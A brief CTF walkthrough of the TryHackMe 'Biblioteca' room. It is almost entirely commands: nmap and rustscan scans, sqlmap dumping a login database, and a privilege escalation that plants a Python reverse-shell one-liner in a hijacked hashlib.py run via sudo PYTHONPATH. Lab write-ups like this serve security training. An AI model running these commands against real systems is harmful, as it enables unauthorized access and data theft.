InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Follow publication

TryHackMe: Biblioteca

Naman Jain
InfoSec Write-ups
Published in
4 min readMay 21, 2022

Intro

Initials

export IP=<your_IP>

Enumerations

rustscan -a $IP --ulimit 5000 | tee rustscan.txt
nmap -sC -sV -p22,8000 -Pn -oN nmap $IP
nmap scan results

port 8000:

login page
smokey account logged in

Exploit:

burp image

sqlmap

sqlmap -r sql.req --dbs --dump
sqlmap results

PrivEsc:

cp /usr/lib/python3.8/hashlib.py /tmp/hashlib.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
nc -lnvp 1234
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py
root

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Naman Jain

Security Researcher @Credshields | Smart Contract Auditor

No responses yet

Write a response